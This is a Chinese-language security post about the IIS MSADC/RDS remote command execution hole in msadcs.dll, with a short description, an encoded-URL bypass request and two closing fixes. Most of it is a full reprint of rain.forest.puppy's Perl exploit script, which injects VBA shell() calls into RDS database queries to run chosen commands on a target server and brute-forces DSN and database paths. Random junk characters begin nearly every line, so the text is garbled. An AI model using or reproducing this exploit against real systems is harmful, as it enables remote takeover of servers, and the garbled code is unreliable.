IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
5+[`x']l :{Crc 涉及程序:
J3B]JttU Microsoft NT server
T m0m$l 'YcoF;&[C 描述:
gqf*;Z eU 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
T] tG,W1>i Gf{FFIe( 详细:
g^EkRBU 如果你没有时间读详细内容的话,就删除:
U0kEhMIIf c:\Program Files\Common Files\System\Msadc\msadcs.dll
_jW}p-j 有关的安全问题就没有了。
H,!3s<1 szy^kj^2 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
9"YOj_z s-He 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
ITu6m<V 关于利用ODBC远程漏洞的描述,请参看:
kM,$0@ 'h&"xXv4| http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm =fZ)2q nUL8*#p- 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
g0!{CW http://www.microsoft.com/security/bulletins/MS99-025faq.asp Uxq9H cH!w;Ub] 这里不再论述。
S>oQm noBGP/Av=: 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
7EKQE>xj W1
qE,%cx /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
^&W(|R-,J& 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
{u}Lhv >6(91J P7Ws$7x #将下面这段保存为txt文件,然后: "perl -x 文件名"
|hprk-R*OH k2xOu9ncEj #!perl
'}D$"2I* #
^=nJ,-(h_ # MSADC/RDS 'usage' (aka exploit) script
iS{8cN3R #
tC=`J%Ik # by rain.forest.puppy
D:gskK+o6M #
V.RG=TVS # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
;@$B{/Q # beta test and find errors!
%y/8i%@6 ]oN:MS4r use Socket; use Getopt::Std;
5mD]uB9 getopts("e:vd:h:XR", \%args);
p -=+i
Cku&s print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
X~O2!F xsq+RBJi if (!defined $args{h} && !defined $args{R}) {
3UIR^Rh+ print qq~
gt9{u"o Usage: msadc.pl -h <host> { -d <delay> -X -v }
^uu)| -h <host> = host you want to scan (ip or domain)
Olg@ Ri -d <seconds> = delay between calls, default 1 second
:Qg3B '; -X = dump Index Server path table, if available
52$7vYMto -v = verbose
g$\Z-!( -e = external dictionary file for step 5
,rB"ag ! R~$W Or a -R will resume a command session
fJ3*'( :n:Gr? ~; exit;}
<MlRy%3Z |d* K'+ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
'Lw4jq if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
z@nJ-*'U8 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
S?bG U8R5 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
EPQ~V $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
e>Vr#a4 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
?t&sT 38wt=0br if (!defined $args{R}){ $ret = &has_msadc;
`3Gjj&c die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
%d5;JEgA:g '[ZRWwhr
print "Please type the NT commandline you want to run (cmd /c assumed):\n"
cC.=,n . "cmd /c ";
LCrE1Q%VP $in=<STDIN>; chomp $in;
F
j_r
n $command="cmd /c " . $in ;
H1(Zzn1 2l)J,z
if (defined $args{R}) {&load; exit;}
K +oFu% S+Aq0B< print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
^<8
c`k )e &try_btcustmr;
qsjTo@A eGZX6Q7m print "\nStep 2: Trying to make our own DSN...";
FF"6~ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
. mDh9V5 OIK14D: print "\nStep 3: Trying known DSNs...";
,r{[l D^ &known_dsn;
y`?{2#1H Im;8Abf print "\nStep 4: Trying known .mdbs...";
9{?L3V!+r &known_mdb;
V[R33NYG YlW~ if (defined $args{e}){
LLn,pI2fL{ print "\nStep 5: Trying dictionary of DSN names...";
$'I+] ; &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
6B)3SC }E 5oa\1u print "Sorry Charley...maybe next time?\n";
=(f+geA"hm exit;
'E2\e!U/ (~~*PT- ##############################################################################
!%' 1x2?
=v4;t'_^ sub sendraw { # ripped and modded from whisker
qW57h8M sleep($delay); # it's a DoS on the server! At least on mine...
mJ=3faM my ($pstr)=@_;
pSQ)DqW socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
y9?~^pTx die("Socket problems\n");
ffuV158a& if(connect(S,pack "SnA4x8",2,80,$target)){
PQ`p:=~>:i select(S); $|=1;
=#N;ZG print $pstr; my @in=<S>;
lMu}|d select(STDOUT); close(S);
oyGO!j return @in;
3"O)"/"Q. } else { die("Can't connect...\n"); }}
W?;kMGW- UXz0HRRS0 ##############################################################################
lP>}9^7I! Vy-EY*r| sub make_header { # make the HTTP request
8Z TN my $msadc=<<EOT
5c btMNP POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
$EjM)
User-Agent: ACTIVEDATA
V6.xp{[ Host: $ip
3:Aw.-,i\ Content-Length: $clen
IL?mt2I Q> Connection: Keep-Alive
\#P>k;D wD}ojA&DU ADCClientVersion:01.06
D ];%Ey Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
,6,sz]3- bWN%dn$$M --!ADM!ROX!YOUR!WORLD!
,EyZ2`| Content-Type: application/x-varg
EG<YxNX, Content-Length: $reqlen
j rX.e MP|J 0=H5 EOT
b[Z5:[@\# ; $msadc=~s/\n/\r\n/g;
&uwj&-u? return $msadc;}
{{b&l! RbUhLcG5 ##############################################################################
C9-IJj
\{F{yq( sub make_req { # make the RDS request
nezdk=8J/ my ($switch, $p1, $p2)=@_;
vEJ2d& my $req=""; my $t1, $t2, $query, $dsn;
R;9H`L/> hlPZTr=a if ($switch==1){ # this is the btcustmr.mdb query
I g/SaEF $query="Select * from Customers where City=" . make_shell();
p`//
*gl $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
8r^~`rL $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
pyEi@L1p KX e/i~AS elsif ($switch==2){ # this is general make table query
- aCtk$3 $query="create table AZZ (B int, C varchar(10))";
d'~sy> $dsn="$p1";}
Cx $M <szD"p|K elsif ($switch==3){ # this is general exploit table query
6fvzTd}, $query="select * from AZZ where C=" . make_shell();
>hcA:\UPk $dsn="$p1";}
ITj0u&H: c[:OK9TH elsif ($switch==4){ # attempt to hork file info from index server
vkdU6CZO $query="select path from scope()";
ze!S4&B $dsn="Provider=MSIDXS;";}
+8e~jf3E1 | ,bCYK elsif ($switch==5){ # bad query
si.A"\bm $query="select";
i)nb^ $dsn="$p1";}
ng]jpdeA MWv_BXQ $t1= make_unicode($query);
6LUO $t2= make_unicode($dsn);
c}iVBN6~.< $req = "\x02\x00\x03\x00";
yc.Vm[! $req.= "\x08\x00" . pack ("S1", length($t1));
N&`VMEB)k $req.= "\x00\x00" . $t1 ;
"4c
?hH:C $req.= "\x08\x00" . pack ("S1", length($t2));
D9H(kk
$req.= "\x00\x00" . $t2 ;
{R[FwB^7wJ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
j4wcxZYY~ return $req;}
,?Pn-aC+ d,}fp) ##############################################################################
h^F^|WT$ M_tY: v sub make_shell { # this makes the shell() statement
!8q+W`{ return "'|shell(\"$command\")|'";}
)clSW ;[%_sVIy ##############################################################################
82%~WQnS v,Lv4) sub make_unicode { # quick little function to convert to unicode
P-9[,3Zd my ($in)=@_; my $out;
3$Ew55 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
kTG4h@w return $out;}
6X(Yv2X&4% !w['@x. ##############################################################################
+0U{CmH 8'Dp3x^W> sub rdo_success { # checks for RDO return success (this is kludge)
lWS@<j my (@in) = @_; my $base=content_start(@in);
KlMrM% ;y if($in[$base]=~/multipart\/mixed/){
%}
WSw~X return 1 if( $in[$base+10]=~/^\x09\x00/ );}
/\L|F?+@ return 0;}
H=E`4E#k -.A%c(|Q ##############################################################################
P(I`^x 5~T`R~Uqb sub make_dsn { # this makes a DSN for us
v. ,|#}0 o my @drives=("c","d","e","f");
>AsD6]
print "\nMaking DSN: ";
*"V5j#F_ foreach $drive (@drives) {
av>c print "$drive: ";
6e,|HV my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
D>9~JHB "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
mA|&K8H . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
y:Xs/RS $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
uP<w rlW return 0 if $2 eq "404"; # not found/doesn't exist
5urM,1SQ@ if($2 eq "200") {
]]lgCac_U9 foreach $line (@results) {
(4_7ICFI return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
)3<|<jwcx } return 0;}
!'>(r K$ 4`lt 4L ##############################################################################
V{17iRflf }} cz95 sub verify_exists {
E~?0Yrm F my ($page)=@_;
f}q4~NPn- my @results=sendraw("GET $page HTTP/1.0\n\n");
,]?Xf> return $results[0];}
=[%ge{ ,t :USN`" ##############################################################################
1@Dp<Q 3V:{_~~ sub try_btcustmr {
4 4bTx y my @drives=("c","d","e","f");
j.Ro(0% my @dirs=("winnt","winnt35","winnt351","win","windows");
%VG;vW\V [r'PGx foreach $dir (@dirs) {
Y 1a[HF^- print "$dir -> "; # fun status so you can see progress
SH>L3@Za foreach $drive (@drives) {
Az4+([ print "$drive: "; # ditto
nU]n]gd $reqlen=length( make_req(1,$drive,$dir) ) - 28;
9{{QdN8 $reqlenlen=length( "$reqlen" );
2N_8ahc $clen= 206 + $reqlenlen + $reqlen;
VXt8y)?a a1Q|su{H my @results=sendraw(make_header() . make_req(1,$drive,$dir));
%bo0-lnp if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
3`PPTG else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
T^LpoN/T }gL:"C"~ ##############################################################################
QC7Ceeh]4 xU$A/!oK sub odbc_error {
p2T%Zl_ my (@in)=@_; my $base;
% 1Y!|306 my $base = content_start(@in);
H..g2;D if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
P3|_RHIb $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
5/j7 C> $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"]M:+mH{] $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_2Sb?]Xn return $in[$base+4].$in[$base+5].$in[$base+6];}
c$?(zt; print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
tins.D print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
1iWo*+5 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
W7I.S5 o>rsk
6lNi ##############################################################################
:3`6P:^
[{.e1s<EK sub verbose {
Q 6djfEN> my ($in)=@_;
OiI[w8 return if !$verbose;
D<}z7W- print STDOUT "\n$in\n";}
>hqev-
hE>ux"_2/ ##############################################################################
+_Nr a ,ra!O=d~0 sub save {
Sa5+_TW my ($p1, $p2, $p3, $p4)=@_;
-dXlGOD+C open(OUT, ">rds.save") || print "Problem saving parameters...\n";
O~t]:p9_ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
4]L5%=atn close OUT;}
N@D]Q&;+(T d-e6hI4b ##############################################################################
b-pZrnZ! , 'WhF- sub load {
R=uzm=&nR my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
$4K(AEt[ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
/Qh @p=<IN>; close(IN);
C9^[A4O@X! $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
3WdYDv]N}L $target= inet_aton($ip) || die("inet_aton problems");
[RtTi<F^ print "Resuming to $ip ...";
h2kba6rwk $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
E6"+\-e if($p[1]==1) {
hLYy $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
i}cqV
B?r $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
]dzBm!u my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
r{y&}gA if (rdo_success(@results)){print "Success!\n";}
qYD$_a else { print "failed\n"; verbose(odbc_error(@results));}}
ks92-%;: elsif ($p[1]==3){
~{Gbu oH if(run_query("$p[3]")){
v+a$Xh3Y~ print "Success!\n";} else { print "failed\n"; }}
u{#}Lo>B # elsif ($p[1]==4){
p=F!)TnJN if(run_query($drvst . "$p[3]")){
yo\R[i( print "Success!\n"; } else { print "failed\n"; }}
5,/rh,? exit;}
3m
RP.<= I'pOB ##############################################################################
7.7aHt0 L%G/%*7;c sub create_table {
VyQ@. Lm my ($in)=@_;
32yGIRV $reqlen=length( make_req(2,$in,"") ) - 28;
gDHgXDD_b $reqlenlen=length( "$reqlen" );
? yL3XB> $clen= 206 + $reqlenlen + $reqlen;
uSnG= tB my @results=sendraw(make_header() . make_req(2,$in,""));
0p6 return 1 if rdo_success(@results);
V_b"^911r my $temp= odbc_error(@results); verbose($temp);
5`su^ return 1 if $temp=~/Table 'AZZ' already exists/;
Leg)q7n return 0;}
>uVo'S. ~s.~X5 ##############################################################################
0#\K9|. i?+ZrAx> sub known_dsn {
cd_\?7 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
JbT+w\o my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Y0nnn "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
pq8XCOllXx "banner", "banners", "ads", "ADCDemo", "ADCTest");
;U7o)A; k'O^HMAn! foreach $dSn (@dsns) {
VaYL#\;c< print ".";
<2b&AF{En next if (!is_access("DSN=$dSn"));
r6
k/QZT if(create_table("DSN=$dSn")){
O&DkB*- print "$dSn successful\n";
iBCZx>![; if(run_query("DSN=$dSn")){
Gn*cphb print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
]=X6*
E*/E print "Something's borked. Use verbose next time\n";}}} print "\n";}
L{;Sc_ _=,\uIrk ##############################################################################
,1xX`: =;9
%Q{ sub is_access {
MW^( my ($in)=@_;
?D 8<}~Do $reqlen=length( make_req(5,$in,"") ) - 28;
EPEy60Rx5 $reqlenlen=length( "$reqlen" );
M%(B6};J $clen= 206 + $reqlenlen + $reqlen;
'p%aHK{ my @results=sendraw(make_header() . make_req(5,$in,""));
rGa@!^hk my $temp= odbc_error(@results);
Ck`-<)uN verbose($temp); return 1 if ($temp=~/Microsoft Access/);
E}^np[u7 return 0;}
g.L~Z1- ^\<nOzU? ##############################################################################
@zu IR0Gr) TcW-pY<N sub run_query {
z1dSZ0NoA my ($in)=@_;
e}@VR<h $reqlen=length( make_req(3,$in,"") ) - 28;
pe}mA}9U $reqlenlen=length( "$reqlen" );
#&v86 $clen= 206 + $reqlenlen + $reqlen;
F4M )x` my @results=sendraw(make_header() . make_req(3,$in,""));
GvAP return 1 if rdo_success(@results);
U}#3LFr.? my $temp= odbc_error(@results); verbose($temp);
Zv[D{ return 0;}
Y.}"<{RQ /l.:GH36f ##############################################################################
7j,-o qq
Vjx?bKe sub known_mdb {
y!z2+q2 my @drives=("c","d","e","f","g");
5OHg% ^ my @dirs=("winnt","winnt35","winnt351","win","windows");
=sm<B^yj my $dir, $drive, $mdb;
X`/GiYTu my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
}~I(e |uUGvIsXn # this is sparse, because I don't know of many
#%Hk-a=>)# my @sysmdbs=( "\\catroot\\icatalog.mdb",
"|N58% "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
'SW%EVB "\\system32\\certmdb.mdb",
Bf5Z "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
KjWF;VN*[3 ,=_)tX^ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
I |PEC-( "\\cfusion\\cfapps\\forums\\forums_.mdb",
vR"?XqgZ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
<x!q!; "\\cfusion\\cfapps\\security\\realm_.mdb",
(-}:'5|Yj "\\cfusion\\cfapps\\security\\data\\realm.mdb",
GG0H3MSc "\\cfusion\\database\\cfexamples.mdb",
ppm=o4`s[ "\\cfusion\\database\\cfsnippets.mdb",
_sp,,gz "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
;s* "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
]|JQH "\\cfusion\\brighttiger\\database\\cleam.mdb",
IOfxx>=3 "\\cfusion\\database\\smpolicy.mdb",
h.Y&_=Gc "\\cfusion\\database\cypress.mdb",
ddTsR "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
lF[m*}l "\\website\\cgi-win\\dbsample.mdb",
^`~s#L7 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
$&25hvK, "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
rCK ); #these are just
uBp,_V? foreach $drive (@drives) {
<mrvuWg0 foreach $dir (@dirs){
LoUHStt foreach $mdb (@sysmdbs) {
\T'.b93~B print ".";
|~K 5] if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
N>TmaUk print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
YYE{zU if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
|mM K9OEu print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
jj,CBNo( } else { print "Something's borked. Use verbose next time\n"; }}}}}
-/V,<@@T bUzo> fm_ foreach $drive (@drives) {
,59G6o foreach $mdb (@mdbs) {
f: 9bq}vH print ".";
`w6*(t:T if(create_table($drv . $drive . $dir . $mdb)){
aM7e?.rU print "\n" . $drive . $dir . $mdb . " successful\n";
cyMvjzzRN if(run_query($drv . $drive . $dir . $mdb)){
AX%N:)_$| print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
m&PB5s\= } else { print "Something's borked. Use verbose next time\n"; }}}}
@=7[ KM b }
'fK3L<$z#m r* q ##############################################################################
cv{icz,%w R7o'V* d sub hork_idx {
/3`yaYkSh print "\nAttempting to dump Index Server tables...\n";
{gC?kp print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
; Sd== * $reqlen=length( make_req(4,"","") ) - 28;
"[QQ(]={ $reqlenlen=length( "$reqlen" );
uGmv`R_ $clen= 206 + $reqlenlen + $reqlen;
<~ Dq8If my @results=sendraw2(make_header() . make_req(4,"",""));
?v
z[Zi if (rdo_success(@results)){
a
Xn:hn~O my $max=@results; my $c; my %d;
AqA.,;G for($c=19; $c<$max; $c++){
pqCp>BO?O $results[$c]=~s/\x00//g;
xA'RO-a}h $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
[+F6C $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
dEhFuNO<2 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
:[:*kbWN- $d{"$1$2"}="";}
kOE\.}~4 foreach $c (keys %d){ print "$c\n"; }
G$^u2wz. } else {print "Index server doesn't seem to be installed.\n"; }}
<(!~s><. \y(ZeNs ##############################################################################
Z<jC,r *@VS^JB sub dsn_dict {
)krBjF.$ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
U!GfDt while(<IN>){
3v91 yMx $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
.rwa=IW next if (!is_access("DSN=$dSn"));
>vR7l&" if(create_table("DSN=$dSn")){
GI<3L K\ print "$dSn successful\n";
z"D0Th`S6 if(run_query("DSN=$dSn")){
!X5LgMw^ ; print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
uv&4
A,h print "Something's borked. Use verbose next time\n";}}}
qOTo p- print "\n"; close(IN);}
j5gL67B `Hx JE"/ ##############################################################################
_ea|E 8 wX4gyr sub sendraw2 { # ripped and modded from whisker
U>i}C_7g sleep($delay); # it's a DoS on the server! At least on mine...
/u&7!>, my ($pstr)=@_;
0;L.h|R T( socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
6J]8BHJn+ die("Socket problems\n");
:anR/ if(connect(S,pack "SnA4x8",2,80,$target)){
$qR<_6j print "Connected. Getting data";
k|^YYi=xF open(OUT,">raw.out"); my @in;
uhm3}mWv select(S); $|=1; print $pstr;
h:AB`E1 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
/ M@[ 8 close(OUT); select(STDOUT); close(S); return @in;
*=}\cw\A } else { die("Can't connect...\n"); }}
7<*,O&![| JA$RY ##############################################################################
S-[S?&c` lt("yqBu sub content_start { # this will take in the server headers
ATWa/"l(H- my (@in)=@_; my $c;
kxLWk%V for ($c=1;$c<500;$c++) {
`qV*R
2 if($in[$c] =~/^\x0d\x0a/){
FN<Sagj if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
l`Ae&nc6 else { return $c+1; }}}
8Sk$o.Gy return -1;} # it should never get here actually
8
KRo< `< 82"cAT{ ##############################################################################
hK UK#xx ?sW}<8\ sub funky {
[VE>{4]W my (@in)=@_; my $error=odbc_error(@in);
T<%%f.x[s if($error=~/ADO could not find the specified provider/){
)&$mFwf print "\nServer returned an ADO miscofiguration message\nAborting.\n";
aM4-quaG] exit;}
4 'DEdx,&f if($error=~/A Handler is required/){
z?t75#u9. print "\nServer has custom handler filters (they most likely are patched)\n";
goOw.~dZ' exit;}
-cWGF if($error=~/specified Handler has denied Access/){
!A:d9 k print "\nServer has custom handler filters (they most likely are patched)\n";
d
f
j;e%H exit;}}
}OqP`B xnDst9% ##############################################################################
6@;sOiN+ ,FwJ0V sub has_msadc {
HF<h-gX my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
z~th{4#E; my $base=content_start(@results);
e!ql8wbp return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
LvCX(yjZ* return 0;}
!-m 'diE &
h\!#X0 ########################
IQWoK"B K8W99:v LMNmG]#! 解决方案:
PVSz%" 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
b"nD5r 2、移除web 目录: /msadc